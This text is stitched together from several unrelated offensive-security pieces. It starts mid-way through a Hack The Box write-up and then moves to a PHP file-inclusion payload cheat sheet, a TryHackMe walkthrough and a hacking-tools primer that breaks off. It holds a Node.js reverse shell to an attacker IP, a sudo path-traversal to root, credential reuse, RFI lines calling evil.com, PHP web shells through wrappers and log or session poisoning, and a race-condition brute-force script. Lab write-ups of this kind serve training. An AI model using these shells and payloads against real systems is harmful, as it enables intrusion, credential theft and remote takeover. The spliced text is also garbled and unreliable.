gphbmdvb3NlOng6MTAwMToxMDAxOiwsLDovaG9tZS9hbmdvb3NlOi9iaW4vYmFzaApfbGF1cmVsOng6OTk4Ojk5ODo6L3Zhci9sb2cvbGF1cmVsOi9iaW4vZmFsc2UK HTTP/1.1" 404 -
```
By decoding the base64 content of the file, we get the contents of the `/etc/passwd` file:
```console
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
```
We observe that the `angoose` user has a default shell of `/bin/bash`.
We can employ a similar approach to read the `/etc/nginx/nginx.conf` file and obtain its contents:
```console
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
server {
listen 80;
root /var/www/dev;
index index.html index.htm index.nginx-debian.html;
server_name dev.stocker.htb;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_cache_bypass $http_upgrade;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
}
server {
listen 80;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name stocker.htb;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen 80 default;
server_name _;
location / {
return 301 http://stocker.htb;
}
}
}
```
We can locate the `dev` virtual host at `/var/www/dev`, and read the contents of the `index.js` file located at `/var/www/dev/index.js`:
```javascript
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
}),
})
);
app.use("/static", express.static(__dirname + "/assets"));
app.get("/", (req, res) => {
return res.redirect("/login");
});
app.get("/api/products", async (req, res) => {
if (!req.session.user) return res.json([]);
const products = await mongoose.model("Product").find();
return res.json(products);
});
app.get("/login", (req, res) => {
if (req.session.user) return res.redirect("/stock");
return res.sendFile(__dirname + "/templates/login.html");
});
app.post("/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
// TODO: Implement hashing
const user = await mongoose.model("User").findOne({ username, password });
if (!user) return res.redirect("/login?error=login-error");
req.session.user = user.id;
console.log(req.session);
return res.redirect("/stock");
});
app.post("/api/order", async (req, res) => {
if (!req.session.user) return res.json({});
if (!req.body.basket) return res.json({ success: false });
const order = new mongoose.model("Order")({
items: req.body.basket.map((item) => ({ title: item.title, price: item.price, amount: item.amount })),
});
await order.save();
return res.json({ success: true, orderId: order._id });
});
app.get("/api/po/:id", async (req, res) => {
const order = await mongoose.model("Order").findById(req.params.id);
if (!order) return res.sendStatus(404);
const htmlPath = `${__dirname}/pos/${req.params.id}.html`;
const filePath = `${__dirname}/pos/${req.params.id}.pdf`;
if (fs.existsSync(filePath)) {
return res.sendFile(filePath);
}
fs.writeFileSync(htmlPath, formatHTML(order));
await generatePDF(req.params.id);
if (fs.existsSync(filePath)) {
return res.sendFile(filePath);
} else {
return res.sendStatus(500);
}
});
app.get("/stock", (req, res) => {
if (!req.session.user) return res.redirect("/login?error=auth-required");
return res.sendFile(__dirname + "/templates/index.html");
});
app.get("/logout", async (req, res) => {
req.session.user = "";
return res.redirect("/login");
});
app.listen(port, "127.0.0.1", async () => {
await mongoose.connect(dbURI);
// Setup Mongoose schema
require("./schema.js");
console.log(`Example app listening on port ${port}`);
});
```
We observe that the credentials to access the MongoDB database are present in the code, specifically `const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";`.
We have successfully utilized the password of the `dev` user (`IHeardPassphrasesArePrettySecure`) for the `angoose`user via SSH:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ ssh [email protected]
The authenticity of host 'stocker.htb (10.10.11.196)' can't be established.
ECDSA key fingerprint is SHA256:DX/9+PB1w20dghcXwm9QPFH88qM0aiPr+RyA+wzHnng.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'stocker.htb,10.10.11.196' (ECDSA) to the list of known hosts.
[email protected]'s password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$ cat user.txt
9a820c5a1676a0c62f24137079a9ea1a
```
And we get the user flag `9a820c5a1676a0c62f24137079a9ea1a`.
### Root
By executing the command `sudo -l`, we can display the following information:
```console
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
```
As we can see, we have the ability to run scripts located in `/usr/local/scripts/*.js` as the `root` user.
To bypass this restriction, we can create a reverse shell in `/tmp` using the following code:
```console
angoose@stocker:/tmp$ cat rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.10.14.14", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
```
With the reverse shell created in `/tmp`, we can run the following command to execute our script:
```console
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/rev.js
[sudo] password for angoose:
```
Note that we need to navigate three directories up to `/` before accessing `/tmp/rev.js`.
This will give us a reverse shell:
```console
┌─[evyatar9@parrot]─[/hackthebox/Stocker]
└──╼ $ nc -lvp 4242
listening on [any] 4242 ...
connect to [10.10.14.14] from stocker.htb [10.10.11.196] 38802
whoami
root
cat /root/root.txt
379e3da522f4948d9aee336caa1b1734
```
And we get the root flag `379e3da522f4948d9aee336caa1b1734`.
|
# File Inclusion
> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
## Summary
* [Tools](#tools)
* [Basic LFI](#basic-lfi)
* [Null byte](#null-byte)
* [Double encoding](#double-encoding)
* [Path and dot truncation](#path-and-dot-truncation)
* [Filter bypass tricks](#filter-bypass-tricks)
* [Basic RFI](#basic-rfi)
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
* [Wrapper php://filter](#wrapper-phpfilter)
* [Wrapper zip://](#wrapper-zip)
* [Wrapper data://](#wrapper-data)
* [Wrapper expect://](#wrapper-expect)
* [Wrapper input://](#wrapper-input)
* [Wrapper phar://](#wrapper-phar)
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
## Tools
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Basic LFI
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
```powershell
http://example.com/index.php?page=../../../etc/passwd
```
### Null byte
:warning: In versions of PHP below 5.3 we can terminate with null byte.
```powershell
http://example.com/index.php?page=../../../etc/passwd%00
```
### Double encoding
```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Path and dot truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
```powershell
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
```
### Filter bypass tricks
```powershell
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```
## Basic RFI
Most of the filter bypasses from LFI section can be reused for RFI.
```powershell
http://example.com/index.php?page=http://evil.com/shell.txt
```
### Null byte
```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00
```
### Double encoding
```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```
### Bypass allow_url_include
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
1. Create a share open to everyone
2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
## LFI / RFI using wrappers
### Wrapper php://filter
The part "php://filter" is case insensitive
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
can be chained with a compression wrapper for large files.
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
### Wrapper zip://
```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
### Wrapper data://
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect://
```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
### Wrapper phar://
Create a phar file with a serialized object in its meta-data.
```php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
```php
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
```
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via upload (race)
Worlds Quitest Let's Play"
* Upload a file and trigger a self-inclusion.
* Repeat 1 a shitload of time to:
* increase our odds of winning the race
* increase our guessing odds
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
* Enjoy our shell.
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
## LFI to RCE via phpinfo()
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
First extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
First extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
## References
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1) |
# Retro
New high score!
[Retro](https://tryhackme.com/room/retro)
## Topic's
- Network Enumeration
- Web Enumeration
- Web Poking
- CVE-2017-0213 - Windows COM Aggregate Marshaler/IRemUnknown2
## Appendix archive
Password: `1 kn0w 1 5h0uldn'7!`
## Pwn
Can you time travel? If not, you might want to think about the next best thing.
Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.
---
There are two distinct paths that can be taken on Retro. One requires significantly less trial and error, however, both will work. Please check writeups if you are curious regarding the two paths. An alternative version of this room is available in it's remixed version Blaster.
```
kali@kali:~/CTFs/tryhackme/Retro$ sudo nmap -A -p- -sC -sV -Pn 10.10.222.128
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 09:46 CEST
Nmap scan report for 10.10.222.128
Host is up (0.039s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RETROWEB
| NetBIOS_Domain_Name: RETROWEB
| NetBIOS_Computer_Name: RETROWEB
| DNS_Domain_Name: RetroWeb
| DNS_Computer_Name: RetroWeb
| Product_Version: 10.0.14393
|_ System_Time: 2020-10-04T07:51:25+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2020-10-03T07:44:58
|_Not valid after: 2021-04-04T07:44:58
|_ssl-date: 2020-10-04T07:51:26+00:00; +3m07s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (89%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Microsoft Windows Server 2016 (89%), FreeBSD 6.2-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3m06s, deviation: 0s, median: 3m06s
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 38.93 ms 10.8.0.1
2 38.96 ms 10.10.222.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.01 seconds
```
1. A web server is running on the target. What is the hidden directory which the website lives on?
```
kali@kali:~/CTFs/tryhackme/Retro$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.222.128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.222.128
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/04 09:50:53 Starting gobuster
===============================================================
/retro (Status: 301)
Progress: 31140 / 220561 (14.12%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/10/04 09:53:15 Finished
===============================================================
```
`/retro`
- [One Comment on “Ready Player One”](http://10.10.222.128/retro/index.php/2019/12/09/ready-player-one/#comment-2)
- `wade`
- `parzival`
2. user.txt
`3b99fbdc6d430bfb51c72c651a261927`
3. root.txt
```
kali@kali:~/CTFs/tryhackme/Retro$ unzip CVE-2017-0213_x64.zip
Archive: CVE-2017-0213_x64.zip
inflating: CVE-2017-0213_x64.exe
kali@kali:~/CTFs/tryhackme/Retro$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.222.128 - - [04/Oct/2020 10:11:22] "GET / HTTP/1.1" 200 -
10.10.222.128 - - [04/Oct/2020 10:11:22] code 404, message File not found
10.10.222.128 - - [04/Oct/2020 10:11:22] "GET /favicon.ico HTTP/1.1" 404 -
10.10.222.128 - - [04/Oct/2020 10:11:34] "GET /CVE-2017-0213_x64.exe HTTP/1.1" 200 -
```
`7958b569565d7bd88d10c6f22d1c4063`
|
# Introduction to Hacking Library
The goal of this library is to create an archive of useful tools and how to use them, mostly for:
- Hacking
- Pentests
- Security
Remember, this is only a guide, use the knowledge here wisely and at your own risk.
Have fun!
# Analysis Websites
## IPOK
A colection of online tools for analysis and diagnoses in domains, dns, email, network and servers.
- https://ipok.com.br/
## Have I Been Pwned
A site that checks if your email or phone is in a data breach.
- https://haveibeenpwned.com/
## How secure is my password?
A site that displays how secure is a password measured in time to crack it.
- https://www.security.org/how-secure-is-my-password/
# Cryptography
## Steghide
Steghide is steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven.
It is designed to be portable and configurable and features hiding data in bmp, jpeg, wav and au files, blowfish encryption, MD5 hashing of passphrases to blowfish keys, and pseudo-random distribution of hidden bits in the container data.
**Hiding a file in an image:**
```console
steghide embed -cf {IMAGE} -ef {FILE_NAME}
```
Example:
```console
steghide embed -cf image.jpg -ef secret.txt
```
**Recovering text in an image:**
```console
steghide extract -sf {IMAGE}
```
Example:
```console
steghide extract -sf image.jpg
```
#### How to install
```console
sudo apt install steghide
```
# Hash Cracking
## Websites for crashing Hashs
- https://www.onlinehashcrack.com/
- https://hashes.com/
## Ophcrack
Password cracker designed for all operating systems that specializes in Windows password cracking. It works by using rainbow tables to try to crack the password.
After downloaded only open the program, add the LM/NT Hashes, add the rainbow tables that you have downloaded and click in start.
Not always it will find the key, but its certainly faster than other methods.
#### How to install
Download the program here:
https://ophcrack.sourceforge.io/
And download rainbow tables here:
https://ophcrack.sourceforge.io/tables.php
## John the Ripper
## Hashcat
# Wordlist creation
List of scripts to help creating wordlists.
## CeWL (Custom Word List generator)
CeWL is a ruby app which spiders a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers such as John the Ripper.
```console
cewl -w {FILE_TO_WRITE_PASSWORD} -d {DEPTH_NUM} -m {MINIMUM_PASSWORD_LENGTH} {IP_ADDRESS}
```
Example:
```console
cewl -w passwords.txt -d 2 -m 5 192.168.15.99
```
#### How to install
```console
sudo apt install cewl
```
#### Flags
- Let the spyder visit other sites:
> -o
- Lowercase all parsed words
> --lowercase
- Include email address:
> -e
- Output file for email addresses:
> --email_file {FILE_NAME}
- Show the count for each word found:
> -c
## Crunch
The wordlists are created through combination and permutation of a set of characters. You can determine the amount of characters and list size.
```console
crunch {MIN_WORD_SIZE} {MAX_WORD_SIZE} {CHARACTER_LIST} > {FILE_TO_SAVE_WORDLIST}
```
Example:
```console
crunch 3 4 qwerty123 > wordlist.txt
```
#### How to install
```console
sudo apt install crunch
```
## Cupp
Cupp is an interactive program that permutate the info gathered to create a wordlist.
```console
python3 cupp.py -i
```
#### How to install
Download the cupp repository at:
- https://github.com/Mebus/cupp
# Analysis Tools
## ARP
The ARP protocol (Address Resolution Protocol) associates every MAC address with an IP address in the local network. The way this works is with a broadcast in the local network, asking every host about their pairs IP/MAC. Every time a broadcast occurs the host sends his own pair IP/MAC besides asking other hosts their pairs, so it can be saved into a cache in every machine.
You can check the ARP cache in your own machine with:
```console
arp -a
```
Using ARP protocol you can either scan your local network to discover hosts, revealing their MAC addresses and internet adapter manufacturer:
```console
sudo arp-scan --interface=eth0 --localnet
```
or try to guess the OS of the hosts with:
```console
sudo arp-fingerprint -l
```
## TCPDUMP
TCPDUMP is a network analysis tool, it can be used for example with ARP Spoofing man in the middle, to analyze the traffic between host and victim.
- Base command:
```console
tcpdump -i eth0
```
#### Flags
Use the flags after the base command
- Traffic going in/out some IP:
> host {IP_ADDRESS}
- Filter traffic by entry or exit:
> src {IP_ADDRESS}
> dst {IP_ADDRESS}
- Filter traffic by port:
> port {PORT_NUM}
> portrange {PORT_START}-{PORT_END}
- Filter by package size:
> less {SIZE}
> greater {SIZE}
> <= {SIZE}
- Save to file:
> -w {FILE_NAME}
- Read file:
> -r {FILE_NAME}
## Wireshark
